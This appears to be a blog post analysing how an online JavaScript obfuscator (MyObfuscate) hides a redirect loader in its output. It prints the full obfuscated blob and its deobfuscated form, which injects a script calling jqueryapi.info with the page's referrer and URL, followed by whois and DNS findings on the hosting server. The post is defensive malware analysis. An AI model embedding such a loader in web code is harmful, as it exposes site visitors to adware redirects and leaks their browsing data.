alert('Test!')
We consider the internet to be a free place without strict rules and restriction. This freedom allows us to rapidly prototype idea's, start up businesses and exchange knowledge with each other in ways not previously thought possible. This freedom, however, has a flip-side. Tech-savvy people, covering a wide range of technical ability, show a natural proclivity for duping unsuspecting people. These scams range from malicious to benign, from highly technical to barely functional.
In this post I will want to share a case study that I recently stumbled into, quite by accident. A friend of mine contacted me about experiencing occasional redirection on his website. As we will see, there was an unlikely culprit for the redirection. Not being an expert of the law, I can't say if this is technically illegal, but I think we will all be able to agree that it is pretty rude and shameless!
Links:
A comprehensive (albeit a bit old) resource on conditional redirection - Aw-Snap
JSDetox, Javascript malware analysis and deobfuscation - JSDetox
This whole story started when a friend of mine notified me that users were occasionally being redirected (to adware/malware) on his website. This in itself was difficult to verify as the redirection seemed to happen infrequently and never more than once per session ID. Initially I suspected that the end user was to blame, having installed an evil browser plug-in or something similar. However, we were eventually able to replicate the redirection using an android browser (the User Agent may be a factor).
Having set aside my doubts I started recursively grepping the webroot for anything that could be suspicious. In addition to this I quickly put together a bash one-liner that would diff all the php files and js plugins of the current webroot with backup copies ("diff -bis ..." sanity checks FTW). I was sure something would turn up but ... nothing.
After getting some caffeine into my system I started furiously browsing the website with the android browser (and purging the browser cache for each request **sigh**). I noticed that not all pages were affected by the redirection. Upon closer inspection I noticed a blob of obfuscated javascript code (performing a legitimate function) on each of those pages. As it turns out my friend was using an online obfuscator to hide some inner workings of the javascript code.
Finally the real culprit was in sight, removing the obfuscated blob stopped the redirection. I helped my friend re-encode his javascript using Javascript Obfuscator (which is a great tool!) and update his web pages.
At this point I had become curious and was no longer satisfied with merely solving the problem. I wanted to get to the bottom of this force of evil redirection. Let's see if we can figure this cowboy scheme out!
The bad guy: MyObfuscate
Looks Innocent Enough
For testing purposes I passed some very basic javascript to the obfuscator.
alert('Test!')
What we get back seems (1) disproportionally large to the input and (2) is obviously not in a human-readable format.
var lOO='=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1xXawFWey VWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHTSVF f0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3QzwHduVmbv BXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHdlJHfu9W a0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHfnwiNy EDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnUxw3Vxw3 UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8xHf8xHf8 xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM8JWM8RW M8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcxFbnwFXc xFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL35Scv8i OodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2AyMnwFXc hSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01YbtGKOtX Kt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuAXPwtXKd N2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYogW M7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmFzepMGKl FTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3 ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJ V2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function I1I(data){var IlllOI ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h 1=IlllOI.indexOf(data.charAt(i++));h2=IlllOI.indexOf(data.charAt(i++));h3=IlllOI.indexOf(data.charAt(i++));h4=Illl OI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bit s&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fr omCharCode(o1,o2,o3)}}while(i<data.length);return enc} function Ill(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(I1I(Ill(lOO)));
To analyse this code I used JSDetox. This tool is written in ruby, it supports HTML DOM emulation and, from the samples I tested, it is pretty proficient at deobfuscating javascript. Alternatively, if you need a portable Windows solution, you can also have a look at Malzilla. Malzilla is a bit on the older side but still has plenty of very useful features!
We can quickly prettify the code and rename the variables, mind you, this does not improve the readability very much!
function Var1(data){ var Var2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, enc = ''; do { h1 = Var2.indexOf(data.charAt(i++)); h2 = Var2.indexOf(data.charAt(i++)); h3 = Var2.indexOf(data.charAt(i++)); h4 = Var2.indexOf(data.charAt(i++)); bits = h1 << 18 | h2 << 12 | h3 << 6 | h4; o1 = bits >> 16 & 255; o2 = bits >> 8 & 255; o3 = bits & 255; if(h3 == 64) { enc += String.fromCharCode(o1); } else if(h4 == 64) { enc += String.fromCharCode(o1, o2); } else { enc += String.fromCharCode(o1, o2, o3); } } while(i < data.length); return enc; } function Var3(string){ var ret = '', i = 0; for(i = string.length - 1; i >= 0; i--) { ret += string.charAt(i); } return ret; } eval(Var1(Var3('=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1x XawFWeyVWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZ nxHTSVFf0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3Qzw HduVmbvBXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHd lJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8x HfnwiNyEDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnU xw3Vxw3UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8x Hf8xHf8xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM 8JWM8RWM8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcx FbnwFXcxFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL 35Scv8iOodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2A yMnwFXchSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01Y btGKOtXKt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuA XPwtXKdN2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXK t0yYogWM7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmF zepMGKlFTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZ y5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9 yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ')));
Now we can get to the real magic! JSDetox can run the code and, in this case, breakpoints are placed on eval's to extract the decrypted code. Low and behold, one of the eval's reveals our original alert box and ... something else!
eval( )
Let's rename the variables and have a closer look at what is actually executed by the obfuscated javascript code.
// -=Generates evil URL=- // encodeURIComponent: This function encodes special characters (including , / ? : @ & = + $ #). // document.referrer = Returns the URI of the page that linked to this page. // document.URL = Returns the string URL of the HTML document. var EvilRequest = document.createElement('script'); EvilRequest.src = "http://jqueryapi.info/?getsrc=ok&ref=" + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL); // -=Injects URL=- // HeaderEdit: Grabs the <head> element of the page. // appendChild(EvilRequest): Appends the EvilRequest script element to <head> where it is automatically loaded. var HeaderEdit = document.getElementsByTagName('head')[0]; HeaderEdit.appendChild(EvilRequest); // -=Executes our initial code=- // Finally document.write is used to execute the legitemate javascript (in this case "alert('Test!')"). document.write(unescape('%3Cscript%3Ealert%28%27Test%21%27%29%3C/script%3E'));
We can easily verify this by creating an html page that contains the obfuscated javascript, drop it on our local webserver and intercept the request with a proxy. We can see from the screenshots below that our "harmless" javascript is trying to phone home!
Burpsuite
Phone Home
There is still one more chapter to this story. After deciphering the javascript I wanted to have a look at the "jqueryapi.info" domain. Though the whois information is mostly useless we can establish that the domain was set up recently.
root@darkside:~# whois jqueryapi.info |egrep 'Creation|Expiry|Registrant' Creation Date: 2014-02-28T06:26:23Z Registry Expiry Date: 2015-02-28T06:26:23Z Registrant ID:CR162077161 Registrant Name:Registration Private Registrant Organization:Domains By Proxy, LLC Registrant Street: DomainsByProxy.com Registrant City:Scottsdale Registrant State/Province:Arizona Registrant Postal Code:85260 Registrant Country:US Registrant Phone:+1.4806242599 Registrant Phone Ext: Registrant Fax: +1.4806242598 Registrant Fax Ext: Registrant Email:JQUERYAPI.INFO@domainsbyproxy.com
Doing some quick enumeration we can actually see that the server hosting "jqueryapi.info" is located in Russia.
root@darkside:~# host -t any jqueryapi.info jqueryapi.info has address 188.64.170.17 jqueryapi.info has SOA record ns73.domaincontrol.com. dns.jomax.net. 2014022702 28800 7200 604800 600 jqueryapi.info name server ns74.domaincontrol.com. jqueryapi.info name server ns73.domaincontrol.com. root@darkside:~# dig -x 188.64.170.17 ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> -x 188.64.170.17 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16578 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;17.170.64.188.in-addr.arpa. IN PTR ;; ANSWER SECTION: 17.170.64.188.in-addr.arpa. 604800 IN PTR h1net188-64-170-17.h1host.ru. ;; Query time: 756 msec ;; SERVER: 192.168.1.1#53(192.168.1.1) ;; WHEN: Mon Jul 7 07:42:29 2014 ;; MSG SIZE rcvd: 86
The really interesting part came when I did a reverse IP lookup on the domain to find out which other websites are hosted on the same server. These results can be replicated at ViewDNS.
Reverse IP results for jqueryapi.info (188.64.170.17) ============== There are 21 domains hosted on this server. The complete listing of these is below: Domain Last Resolved Date april-broker.com 2013-12-20 htmlobfuscator.com 2014-05-17 htmlobfuscator.info 2014-07-01 javascript-obfuscator.info 2014-07-01 javascriptcompressor.info 2014-07-01 javascriptcrambler.com 2014-05-17 javascriptobfuscate.com 2014-05-17 javascriptobfuscator.info 2014-07-01 jqueryapi.info 2014-07-06 myobfuscate.com 2014-05-17 obfuscatorjavascript.com 2014-05-17 obfuscatorjavascript.info 2014-07-01 promebel21.ru 2014-05-27 screendepo.com 2014-05-17 softtrade.ru 2014-05-27 statistick.info 2014-07-01 statisticu.info 2014-07-01 statisticy.info 2014-07-01 statistiki.info 2014-07-01 statistiq.info 2014-07-01 statistiqa.info 2014-07-01
We should all be smiling and/or frowning at this point as there are some, obviously, suspect domains on that list. I had a quick look and all of the "obfuscate" domains are perfect clones. The finer points of this scam are pretty clear now! There are (1) domains that generate obfuscated code, this code seeds the adware process. Browsers that load the code make requests to (2) other domains, hosted on the same server, which act as a go-between to point the browser at adware/malware websites!
We have come full circle with this case study. We went from detecting the redirection to understanding the delivery method of the attack and finally linking the adware back to obfuscator (even discovering additional infrastructure along the way). I think this is a typical example of the kind of mid-tier scams that are so prevalent on the internet.
For posterity I want to include the following links:
Wepawet analysis of the javascript code - here
Information gathered by VirusTotal on "jqueryapi.info" - here